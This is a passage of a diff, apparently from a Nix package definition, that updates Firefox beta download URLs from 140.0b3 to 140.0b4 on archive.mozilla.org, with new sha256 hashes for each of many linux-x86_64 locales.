-      sha256 = "7d96d3e05a94d268accf129fe008688fe492472ae1edbb8eb50fc29f7c899be9";
+      sha256 = "f4a9493a0ff3e35a9a0e73de70d7e5a681de1ef14e031320015cd0cd15d52145";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/bn/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/bn/firefox-140.0b4.tar.xz";
       locale = "bn";
       arch = "linux-x86_64";
-      sha256 = "0788fda0e35abb70344cc4030bb54af725ec4dc3725f8ebc12df70ceeb860fdb";
+      sha256 = "0ec9de4c5276ef24b3d0531f4964cc01bb3d1c4d44530de59ead8a4ff804f42f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/br/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/br/firefox-140.0b4.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "5a45b3c49e0ccd7314881494d825badb16372fda7bb94fd704b8eb49fe9492c3";
+      sha256 = "d6a1163df76100d1995929bcbce45aad6db99f600d29e93a7610662185ffdcb1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/bs/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/bs/firefox-140.0b4.tar.xz";
       locale = "bs";
       arch = "linux-x86_64";
-      sha256 = "e4dd687373bf633cfde18764d9b424ac245349925a7fdb5a45fd1698b8ed1164";
+      sha256 = "00eec200da5859ff0c4ea01c582c12dc3610b4216876bda9e08bbe41f3d7719a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ca-valencia/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ca-valencia/firefox-140.0b4.tar.xz";
       locale = "ca-valencia";
       arch = "linux-x86_64";
-      sha256 = "f4dd916b333e0abc0551d7651156e94cdf31049d7fe7e51b2f46f877066fc144";
+      sha256 = "a73eeae5de570615e3de64949de40a6a149dbf0450170686342ef48fc330da48";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ca/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ca/firefox-140.0b4.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "020a985e9841238d683fa817e26f1791ea60946701c91e8eab3def9c2db23278";
+      sha256 = "532184e6c74f6de599e29360f5b2fcb7c68032fc48101296e13a4bed5e8500ac";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/cak/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/cak/firefox-140.0b4.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "542b5987fb29f278c2d1c0451053a37874f8a9ee1c80a3e2d818821b740a465c";
+      sha256 = "1fb82efc4e4f0b5e626c133bb17fa57ee54ff00916d306e66a96943d594b0da6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/cs/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/cs/firefox-140.0b4.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "390df2e96d9b0f2c6a5c5ef01b9f4790e0d65a5bd559bcd7b5645e632fe05b6c";
+      sha256 = "d12c2f7e5c102a83995aec62fe69db2c1f9895b9680cdb2df6bdbfc03d622631";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/cy/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/cy/firefox-140.0b4.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "a0cd0379ffe29c33eb1f34dce54f56e9c6801cf25378633e4c3cf9a0badfae22";
+      sha256 = "479ccceda72ad7f2e2d0056545878f43ecd72ff834b09b7ef7e342955eaf83c4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/da/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/da/firefox-140.0b4.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "582033616abeaa16914802635720708294de44afb42c118098b5d30a3df96968";
+      sha256 = "0ad71e504abe067cb52d68d88916be3393913c2f1978eb98dd48f94ab6daf4f9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/de/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/de/firefox-140.0b4.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "e05ae143147e96e5b5c686813f8284640b193b12fa1ecc878a033d7a6b62572a";
+      sha256 = "40ab7b73e1d433eeeae0c8b5fa5c032d14182bc526cbde7b4efc2e32c275a3b7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/dsb/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/dsb/firefox-140.0b4.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "bf11f20d86bd8c8fec4a4d9fa14adfba00e9bce9b40f9a899a0fe8cafdfaa89e";
+      sha256 = "cd782ee1d65b7fd5952e30c6c2c285215f7043f37b9ae3bb0aa51d6056b6a824";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/el/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/el/firefox-140.0b4.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "f4758465dedcc1a1abbef1dfbfa1c1a0e630714eddfa98038826033f7baaddca";
+      sha256 = "19736769c65ceff853bfe9c4fd6541c2e30e13166dffd707a1a96077da5bee1c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/en-CA/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/en-CA/firefox-140.0b4.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "75949735b5d56b36a143410517d109d55139bd670d505d0b467288094ccd34bb";
+      sha256 = "8880c95c0d00a51cd65829ddf5eca2ae9bd0f6a7e995d1d532224c223beb4a70";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/en-GB/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/en-GB/firefox-140.0b4.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "e81b992506abce52d839623334376229a35659699c8770516b3c7e34d810ead7";
+      sha256 = "56c46be9058e82aaa046788499c0c6e96c48cbeb0a05a47b907772b2c73122a4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/en-US/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/en-US/firefox-140.0b4.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "c1428da2dfc7a16deb7b9570fcccba94c13158373a359804233a4b5f330746a0";
+      sha256 = "40820674c78e05b1413458c2844e874c8521670780fdb4489e62379a42fba704";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/eo/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/eo/firefox-140.0b4.tar.xz";
       locale = "eo";
       arch = "linux-x86_64";
-      sha256 = "54790c6e1050b34d380e6daf96f387379aa825249af5889c71752eb728ecb10d";
+      sha256 = "3d444671937f8438ad98b3bf2ee935233a8025c0bd7de8a916be3d1806168222";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/es-AR/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/es-AR/firefox-140.0b4.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "d4dc96fba97c8f0c96ec5d596aaf6e30fe5f467399b59307ba1e91b5471979d5";
+      sha256 = "640d6480bc2680609dde51a76e512c8e9d1d8bcc93b75af239f254b824a0b330";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/es-CL/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/es-CL/firefox-140.0b4.tar.xz";
       locale = "es-CL";
       arch = "linux-x86_64";
-      sha256 = "c9888370387548a0c7b26facd131e8effc9b43bf27d4d2ad31cec12c3e39eecd";
+      sha256 = "7a430e844e216eba749d2e65cdd5f698ea5e450e018e1a217b993c97c375ebbf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/es-ES/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/es-ES/firefox-140.0b4.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "6fd830a501cebe0dd6a005cc00eb326cc82c30f38836da4ba46a79be13401377";
+      sha256 = "1905f4a96c7de86f9b024d41ba07758e478f55c43d16bbb817c9b8e36b544e97";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/es-MX/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/es-MX/firefox-140.0b4.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "0f65338c18d4cd2bc4fc5b4eecaf62d759e532059588a920ce19de13d941ec7a";
+      sha256 = "d7eb82b97a007de775afc9055e33b7b8dbf51947567fe3b1a6e37e2b8765c4a2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/et/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/et/firefox-140.0b4.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "904917e0115be1015954139ddf50395ec69e297082bd37f14a280415471116cb";
+      sha256 = "aa3921d10df3e89d33375ae23b32a668e78c22c30fff3e546957d75c815d1ba1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/eu/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/eu/firefox-140.0b4.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "9e03aeda162aa17a17eb3336e430dffbc415685cd211aadfc43a5f616c8e8758";
+      sha256 = "b678e517a072e9aa3a585acb027a59b3f18d0e4e132ce03cba26c8d5598ca04d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/fa/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/fa/firefox-140.0b4.tar.xz";
       locale = "fa";
       arch = "linux-x86_64";
-      sha256 = "6054bf75fad6b65c29b2f7c4e223df75f02b5ccabceb86b9c5e5e42b741f7bfd";
+      sha256 = "e23cedbe5d62203347749feaf3ad189b19593be7d328519296d727c142b07774";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ff/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ff/firefox-140.0b4.tar.xz";
       locale = "ff";
       arch = "linux-x86_64";
-      sha256 = "ebea919c503fc4523e1c594216ce8079316c9d377ba9bae6a6729ee3182c9df3";
+      sha256 = "a2867f278763c04b7d1bc50bdd4dd5ea49be62bba9986740b680cddf6f2b458b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/fi/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/fi/firefox-140.0b4.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "3126d98ccd0c5f16b77a71ad4c11423482cd5c7d8f7d10f7828e9e6d11e0f461";
+      sha256 = "a9758c8d99ea549fb056bfba4f74d70824105bb5f999343347d661f4ccd53283";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/fr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/fr/firefox-140.0b4.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "9ddfee47dd74850d20f7aa87cbf92b46ff237d0a934d871025b92a364b2cb4c6";
+      sha256 = "12616ac5602bfcce857eccdd7ac50a98bac7bc9d5c6510ac49ab4627d6c762ac";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/fur/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/fur/firefox-140.0b4.tar.xz";
       locale = "fur";
       arch = "linux-x86_64";
-      sha256 = "05025972440fdc4087266a88d02e6968b52a43ff6d77f0190a659eac6ae816c4";
+      sha256 = "a6b9aaa2fa7f8c25efcf338bef0bb98d57535c9ba7d0c99775b2b6cd0c44f15d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/fy-NL/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/fy-NL/firefox-140.0b4.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "4243921762a60f5ce51e7737b6d3fe9bcc4dfea67c9198a1b917290efba9d0f2";
+      sha256 = "13a13fa59708aae286e6f99cbb301334ed082f94995454ff8f333c88c214f67d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ga-IE/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ga-IE/firefox-140.0b4.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "71a26a2fbaaf721ea307a8c3a8b083ef70077765f3a7278d25385b531ac315dc";
+      sha256 = "abf292f9c8a74e8f342c1e573441c5f2ed93a646e308131c098634f0e8403fdf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/gd/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/gd/firefox-140.0b4.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "c44b110b0fc96d3826103b0799bbd3df88cee0c8972f7e60f556590e053d9636";
+      sha256 = "7ae719127ba74d411a09704cc68801ba147aa46a599f75da4e1a1d99c0bbb4de";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/gl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/gl/firefox-140.0b4.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "a6707479746e71d8c3d5af40500433c2290fce9d2ff98bd3ecd89bdbb9cd182c";
+      sha256 = "16391a560e0766f246ec605d5761f5445a9186118d4b9b154c5aa76d2694dde7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/gn/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/gn/firefox-140.0b4.tar.xz";
       locale = "gn";
       arch = "linux-x86_64";
-      sha256 = "d2dcd4701b0563af8825c3eb3aa22ffd2702d9a8458cd0ed4896a9bf57c0d291";
+      sha256 = "88acc62bd18a767e3ace84d758359fd2e3483cced4b47376bb4b62abf0607fcc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/gu-IN/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/gu-IN/firefox-140.0b4.tar.xz";
       locale = "gu-IN";
       arch = "linux-x86_64";
-      sha256 = "eec813b14a376b6f0e7c251ada0e972fbaae06db077e1e5ad63f5a069c81ad97";
+      sha256 = "00e7bbaa43437143c28ee9c0c661ed7c30a4ad887a5de6a99b53d036f8ba28db";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/he/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/he/firefox-140.0b4.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "e3952c61718e26ea8f9aeb73a3b8146bd0163aa87388db2f518e997aed1163a1";
+      sha256 = "88442ae052ba3e93b65d7d878c5628e852f25f192b987a0dec40bb7775fff789";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/hi-IN/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/hi-IN/firefox-140.0b4.tar.xz";
       locale = "hi-IN";
       arch = "linux-x86_64";
-      sha256 = "b00059920c29e3e11dbb2fe3051acee804dda39838706a65c3716bdccabf7e9b";
+      sha256 = "c64522ad816a1b8f298b141bc545895f17aa495b3c227d377ae4bc89cd01ace8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/hr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/hr/firefox-140.0b4.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "d77d3d50678d17098e9996edb0642bd8e6a1ccb983ea68e376d59e2ae0529779";
+      sha256 = "dda7aebbb74867704f5b4cbd2fba4a5f5d2974543c48faa4e634f746c08fd653";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/hsb/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/hsb/firefox-140.0b4.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "45e839005799d5bdbcbed3869680da6ca0ad42c3f9932b61e0f8e3fbc0316fee";
+      sha256 = "3ccf8a34bbad1bb4efc5fcf12aa203d7098c22654910e068e8af92c9a21056b8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/hu/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/hu/firefox-140.0b4.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "2c655b6b1e91265befe5f7c1745a9ea8f4a97f6995ed2f4c4b3eede9fd07c8a5";
+      sha256 = "4b4d9c7965fc90649ea66f91d04f885c180c6127ea9ab8685b2229f148497a20";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/hy-AM/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/hy-AM/firefox-140.0b4.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "bcc23fec185ab50660111850185ad9caeafabc056a77e6b8d99e12962da030ec";
+      sha256 = "e68ad63527eab5b51274d5b23a4e1487b01e46da6f58f933f1afcd3347eb32e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ia/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ia/firefox-140.0b4.tar.xz";
       locale = "ia";
       arch = "linux-x86_64";
-      sha256 = "c70ac08f5d1ac3c2175b5c1f0fed88564a8fc921771e0cb6082bfe9502f08407";
+      sha256 = "5546814c18755b68c3eff2903599e1a8c9612ec8d13b1989ebe8db66c2331adc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/id/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/id/firefox-140.0b4.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "b77533733de76fde27cdcb220f2f4c985784aeeb65456a8aa4f22689d1a78633";
+      sha256 = "98eb4c8c3a34600d34fbbf41abe853390193396044e02f8faa2b841576730eb1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/is/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/is/firefox-140.0b4.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "e8d28dfed20bc64fdb431c6149c8f46a1601dcdb7c198e6aaac3bc26849ed564";
+      sha256 = "4ce9326633f6965b19cb116bb084af2376b79723e3aa2125f6108127ce797c8e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/it/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/it/firefox-140.0b4.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "aa7017e3cc75ee281523f109c5a804a2686cb2d120af07f639cbe6e0b529f95b";
+      sha256 = "1633f576551a196695492299d9cc6c654b7a6fc436ece013c0052d0d59b18fd9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ja/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ja/firefox-140.0b4.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "aac539dc6adaed5e46f5dc180e6d5df7e58e7d06c9b3eb8840f67bb3005a3d1b";
+      sha256 = "4fa482c73b534fdf8da15d9f242c319742373aba34cd2033d890c2e10ff1a952";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ka/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ka/firefox-140.0b4.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "dca7592228e259a535805f0b40473448dbf5406f8bec1a313ae39621ba3a22e4";
+      sha256 = "8d35d90b1a228b3a93dae95913a3a246824f9fef9ddddf226d1d45dbb5f52cf3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/kab/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/kab/firefox-140.0b4.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "02cea8e48adce2143ffa78f564da31a26355572df7bf1a379e743a7ec4949a90";
+      sha256 = "39e2c59bcc692622d37813b2c6dbdb53322217759bb36adb3c40e564fb633816";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/kk/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/kk/firefox-140.0b4.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "12e9811a0fb02ff7c52790d2fdfd116e2232fc6788cfd84e9d52009ab480d846";
+      sha256 = "5bfbfe860b5594b35583dc219524119d449ce843058c2416966923db02a37b4e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/km/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/km/firefox-140.0b4.tar.xz";
       locale = "km";
       arch = "linux-x86_64";
-      sha256 = "fbde93d1aad4c0cd059b14ae9ae0bd1ccf95374009aaafe68e830007b4cf496a";
+      sha256 = "dc60d8f33da1bf2131700143f92c45c407db0c72198a9eeb30be6c50ed219fd0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/kn/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/kn/firefox-140.0b4.tar.xz";
       locale = "kn";
       arch = "linux-x86_64";
-      sha256 = "975aaf5d7a139ea4ecb3d92b2cff56373a63069e7735478eafa596e1dca2a7d6";
+      sha256 = "f9de9ea646106410dac113ed8a43f7fe5d8b2ab78f8cbad800c7e06f39dea83f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ko/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ko/firefox-140.0b4.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "6c43fd5ae7e8d8af3e87940dfb49a6183c540fc18e98fcfe00ffce137b5682af";
+      sha256 = "046fe9882ebbe7a16b9c4e3a46881d3d58e524903e69025b41d4cf5ddfc39cb7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/lij/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/lij/firefox-140.0b4.tar.xz";
       locale = "lij";
       arch = "linux-x86_64";
-      sha256 = "da9bf66ee9231718bcbcbf16662b631984b75bb73bef82e58d1442560a2c0232";
+      sha256 = "c3f54a55d3bca2b3d16bb808161b31759a045624fe3828fa4dc00d4395b6e934";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/lt/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/lt/firefox-140.0b4.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "c8f018f9494291e01e4dedd3dc0e496c1c4fc4d346896f5225972d182f231c57";
+      sha256 = "cc6c6f218dd93c702840afbf6b4947fe25f9a3ce6f1f0c3d6c53612f5ffdea6f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/lv/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/lv/firefox-140.0b4.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "6a46324a4abedeea12aaeeb6f88af8b0277af5863a4977f06c33a0df7d3a9f3f";
+      sha256 = "6413e4d6878ed2cf612f8562f4d7a87b572b44a861b98def88932f5261d4532a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/mk/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/mk/firefox-140.0b4.tar.xz";
       locale = "mk";
       arch = "linux-x86_64";
-      sha256 = "b1f2fc79baff629f24d0ae75fb8b29559a607b8b1434d745e8b9b5ab0c40ef14";
+      sha256 = "f193552cc2c671273e2ceff6d63b721d994905232b1ebeb2272406d11f7c2631";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/mr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/mr/firefox-140.0b4.tar.xz";
       locale = "mr";
       arch = "linux-x86_64";
-      sha256 = "04eceab79c3d3156fb27968108abbe0d7b0f01608f788eed474512bb82412fd8";
+      sha256 = "de2083da32a191962280df959e5f2bdf5a9cd1bfd5e619236052225b2c4432b9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ms/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ms/firefox-140.0b4.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "17e8527080d60c18a363ced9e36548ed5bf575e8ad62bf5c397cf26fe06cb078";
+      sha256 = "060c67fc339f7ca5685524c6164b1b23783c5959bc1ee88947ed5d646a4469bd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/my/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/my/firefox-140.0b4.tar.xz";
       locale = "my";
       arch = "linux-x86_64";
-      sha256 = "19e137672d04c8eefff895b9c434a5b940c881aca4669b5f31947081c202c476";
+      sha256 = "cd1b449874fcef63e5e7366c26c88096121212ea92cc1a20b8d0cefe3d1ab6f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/nb-NO/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/nb-NO/firefox-140.0b4.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "97deb521ad609263c0dbe13458c4500021422a4f3bc84bbdd2a1aa290d288abf";
+      sha256 = "afe1046c6fe6d1ba75b57520d2162e23e190d7eaebd41bf4f8b3b9cb435e34ad";
     }
     {
